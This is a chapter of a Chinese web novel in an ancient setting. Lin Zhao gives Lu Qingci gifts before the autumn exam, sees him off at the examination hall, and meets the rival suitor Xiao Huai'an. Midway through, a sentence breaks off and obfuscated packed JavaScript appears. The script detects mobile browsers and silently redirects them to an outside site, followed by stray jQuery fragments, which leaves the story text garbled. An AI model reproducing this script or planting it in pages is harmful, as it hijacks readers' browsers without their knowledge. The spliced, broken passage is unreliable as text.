陆青辞以为他在逗自己,林昭都有乐师了,怎么还有空来看他这个残废呢?
“阿四,莫要打趣我。”
“少爷,我可不敢。”
阿四怎么会拿这种事开玩笑呢。
陆青辞抬头,发现一抹湖蓝色的身影映入眼帘。
林昭真的来了,手里还拎着一些东西。
陆青辞连忙起身帮她拿,将那些大包小包放在桌上。
阿四给林昭倒了一杯茶,识相地跑到厨房里忙活去了。
“昭昭,你怎么过来了?累坏了吧,喝口茶。”陆青辞把杯盏递给她。
林昭喝了一口,扬了扬下巴,指着那些包裹。
“铺子经营这么久,账上还有盈余,我来给你送点东西。”
陆青辞打开手边的盒子,里面却是一满盒的碎银。
这是给他的分红?
他皱眉:“我不是说过,不用跟我算得那么清楚吗?昭昭,虽然你我还未成亲,但我早已把你当成家人,家里都是女子管家,我不需要这些分红的银两。”
把她当作家人,这可是最高级别的信任了。
林昭弯唇:“我就知道你不会要这些钱,这些是给你秋闱做准备的。”
她挨个打开那些包袱,里面有的是衣服,有的是毛笔和砚台,银两则可以在秋闱前买些需要的东西,上下打点一下。
去了秋闱,很多富家子弟会给监考的随从塞钱,不是为了考试作弊,而是为了考试期间过得舒服一些,喝的是上好的水,还能分到最好的房间。
她想,陆青辞或许也需要。
陆青辞自己的东西很多已经用得破旧,一身衣服补了很多次都舍不得换。
林昭知道他不会要分红,所以就准备了这些给他。
她拎起一件薄薄的青衫,在他身上比对了一下,尺寸刚好。
“看来我估算的尺码差不多,不用再让裁缝店改了。”
陆青辞受宠若惊,眼睛愣愣地看着她:“你为何给我买这么多东西?何时准备的?”
这些东西林林总总看着不少,肯定费了一番心思。
“你过几天就要去考试了,当然要风风光光地去,一切都用新的,好歹求个好兆头。”
其实这个是借口,林昭就是想帮他改善一下生活罢了。
陆青辞拿起那些崭新的毛笔,笔尖的狼毫是上好的,比自己那个早就分叉的毛笔摸着舒服多了。
“多谢了。”
“客气什么,你最近考试准备得怎么样?”
林昭没想到自己到了古代,还会问出这种话。
这句话可是现代学生的噩梦。
古代秋闱就像是中考,筛选出一批出色的举人,进入下一轮的春闱考试,类似于高考,选拔出贡士进入最后决赛圈的殿试。
进了殿试的都是优等生,有点像考研复试的导师选人,皇上出题分出三甲后,进士们等着赐官就行了。
这是古代考生寒窗苦读的终极梦想。
陆青辞点头:“还不错,只是不知道今年会如何出题。”
考试院为了避免题目被猜中,每年的题目风格都会变化,但万变不离其宗,仍然考验考生的学识和理论知识。
陆青辞表面看着云淡风轻,其实内里还是有些紧张的。
原先他残废的时候,全部的家当可都压在了今年的考试上,若是考试失败,那他恐怕就没有退路了。
哦,不,现在有了。
考不上,他可以帮着林昭一起开铺子,腿好了还能帮她打打杂。
林昭鼓励他考试努力,尽力而为就好,别有太大压力。
陆青辞眼底盛着盈盈笑意,他还是第一次听到这种话。
以前在学堂,他从小都是夫子口中的好孩子,背书作诗都是顶好的,十里八乡都喜欢叫他神童,没人会鼓励他考试努力,因为都知道他很厉害,一定是第一。
可母亲一直教导他做人要谦逊,所以他从没炫耀过这件事。
如今,他眉眼弯起。
“嗯,我会努力的。”
林昭喝完一杯茶,“那我不打扰你看书了,等你秋闱那日,我去送你。”
“等等。”
陆青辞捏紧袖子,还是没忍住问她:“听闻你打算铺子歇业,是因为带回来一个乐师?”
这件事传得这么快?
林昭还打算不用这些琐事耽误他时间,毕竟考试在即,读书要紧。
既然他问起了,她也不打算隐瞒。
“对,我在丝竹馆碰到一个乐师,那乐师有经营之才,我就把他带回来了。”
“怎么碰到的?”
陆青辞觉得林昭不像是会主动去丝竹馆的人。
林昭想了想,总不能告诉他于策是自己同学,只好继续编谎。
“他对出了铺子里的诗词,我觉得有趣,就去见了他。”
那个诗词陆青辞知道,他闲来无事也对了下联,可惜林昭似乎没什么特别的反应。
看来,还是他才疏学浅了。
陆青辞暗暗叹气,林昭似乎总能遇到一些很厉害的人,他有时候很担心自己一个不留神,她就被别人吸引了。
“看来你很欣赏那乐师。”
“差不多,他确实有两下子,歇业的事情也是他出的主意,正好我们整顿一个月,等你考完试了,可以去看看新的酒楼模样。”
林昭神采奕奕,眼底满是对未来的憧憬。
陆青辞不会扫兴,笑着应下。
他表面温润,内里却在咬牙切齿,自然要去了,他还要看看那位漂亮乐师是不是真的如此厉害呢。
不远处正在监工的于策打了个喷嚏。
他最近总是打喷嚏,不知道是不是着凉了。
于策揉了揉鼻子,打算一会儿喝点驱寒的茶水。
如意酒楼开始扩建,有段承泽他们盯着,林昭不必每天都在。
她和乔鸢空闲时间都去走街串巷,挑选漂亮的围帐和纱帘,打算好好将酒楼重新布置一番。
虽然现有的资金不够让如意酒楼变得富丽堂皇,但做出格调还是可以的。
林昭没再打扰陆青辞温书。
直到八月初九,秋闱考试当天,考生要前往贡院。
秋闱总共九天,考生吃喝拉撒都在里面,考完了才能出来。
去的第一天,他们的行李还要接受检查。
前天晚上,林昭就给陆青辞备好了被褥和干粮。
干粮是小夏和段承泽亲手做的,里面有各种糕点,而且都是素色,不能有字,以防检查员不让带进去。
秋闱当天早上,贡院门口的马车多到堆不下,门口更是人挤人。
林昭下了马车,和乔鸢一起帮陆青辞清点行李。
本来段承泽他们也打算要来看热闹,但是铺子里需要人帮忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047709|191635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他们就只能留在那了。
陆青辞现如今可以短暂行走,但轮椅还是备上,因为阿四无法跟着他进去,免得双腿中途不舒服,他无法行动。
“行李都准备了,没落下什么,陆青辞你进去了好好考试,别紧张。”林昭像是安慰朋友要中考一般。
陆青辞笑了笑,很久没人这么照顾他了,他是实实在在体会到了温暖的感觉。
还没等他跟林昭说几句体己话,一辆华丽的马车停在身旁。
帘子掀开,叮铃脆耳的佩环声音响起。
萧淮安走下马车,跟林昭打招呼。
“林姑娘,没想到能在这碰到你。”萧淮安自然是看到了她身旁的男子,却假装没看到。
“嗯,我来送陆青辞。”
陆青辞上前一步站在林昭身边,和萧淮安面对面握拳行礼。
萧淮安上次见陆青辞还是坐在轮椅上,如今对方已经能够下地了?还真是稀奇。
“陆兄,别来无恙,此次科举准备得如何?”
“尚可。”
陆青辞的眼底毫不怯场,他对自己的学识不说是十分自信,也是有把握能通过这次考试的。
虽然他跟萧淮安的家境差距很大,但这次考试是公平的。
新帝刚刚继位不久,正是需要人才的时候,近几年科举都是重重把关,也有不少寒门登上殿堂被重用。
“看来陆兄准备得不错,那便拭目以待了,考完要不要一起去如意酒楼喝一杯?”
萧淮安目光转向林昭,说来说去,他还是想见她罢了。
他和陆青辞一起去找林昭,这下没人会说闲话了吧?
岂料,陆青辞不接茬。
“再说吧,时辰到了,我要进去了。”
陆青辞对林昭笑了笑,突然握了一下她的手:“昭昭,等我回来。”
“嗯。”
平日里,他是不会轻易和林昭有肢体接触的,今日大概是某人在场,他忍不住想宣示主权吧。
陆青辞很快松手,忽略一旁的萧淮安,拎着行李走进去。
萧淮安和林昭单独站着,大庭广众也不敢多说什么。
上次乞巧节,林昭的话不仅没有劝退他,反而让他对她更加好奇了。
只想靠自己努力得到东西的女子,这样独立的人格魅力,他还是头一次见。
“林姑娘,听闻如意酒楼歇业重整,等我考完了必然要去尝尝新鲜菜式。”
“随时欢迎。”
萧淮安躬身告辞。
林昭看着他们在门口过安检似的,排着队搜身检查东西。
余光看到一辆熟悉的轿子离开。
她目光看过去,轿帘很快被放下。
马车远去,离开了贡院周围,轿子里的人忍不住捏紧手里的帕子。
林挽月看着林毓秋的动作,不动声色地理了理衣襟。
她今日借着出门买胭脂的由头出来,打算看看秋闱的情况,没想到林毓秋也跟了过来。
林毓秋是担心林挽月背着自己接近萧郎,她特地准备了鲜花和露水过来,打算找机会和萧郎搭讪祝他秋闱顺利,让他记得自己几分。
没想到萧淮安只顾着跟林昭说话,让林毓秋根本没有发挥的余地。
林挽月:“秋妹妹怎么板着脸,刚刚想去找萧郎,直接下去不就好了?”
林毓秋对上她平静的眼眸,心底冷笑。